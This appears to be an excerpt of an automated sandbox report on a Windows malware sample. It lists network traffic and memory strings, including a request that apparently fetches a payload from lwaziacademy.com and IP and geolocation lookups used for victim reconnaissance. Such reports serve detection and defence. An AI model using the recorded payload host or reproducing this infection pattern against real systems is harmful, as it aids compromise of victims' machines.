Source: global traffic	HTTP traffic detected: GET /wps/200_Oupzhkprnvw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: lwaziacademy.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.6:49866 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /wps/200_Oupzhkprnvw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: lwaziacademy.com
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: lwaziacademy.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: Microsofts.exe, 0000000D.00000002.4634725765.0000000002641000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Microsofts.exe, 0000000D.00000002.4634725765.0000000002641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: Microsofts.exe, 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020B12000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2445124760.000000007EB4A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2444599490.0000000021D51000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: powershell.exe, 0000000E.00000002.2580997987.0000000005356000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020B12000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2445124760.000000007EB4A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2444599490.0000000021D51000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0$
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: powershell.exe, 0000000E.00000002.2558666717.0000000004446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: Microsofts.exe, 0000000D.00000002.4634725765.00000000026DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: Microsofts.exe, 0000000D.00000002.4634725765.00000000026DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: powershell.exe, 0000000E.00000002.2558666717.0000000004446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Microsofts.exe, 0000000D.00000002.4634725765.0000000002641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2558666717.00000000042F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.2558666717.0000000004446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000E.00000002.2558666717.0000000004446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000E.00000002.2654422100.0000000007C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020B12000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2445124760.000000007EB4A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2529595198.0000000021DFB000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2444599490.0000000021D51000.00000004.00000020.00020000.00000000.sdmp, rpkhzpuO.pif, 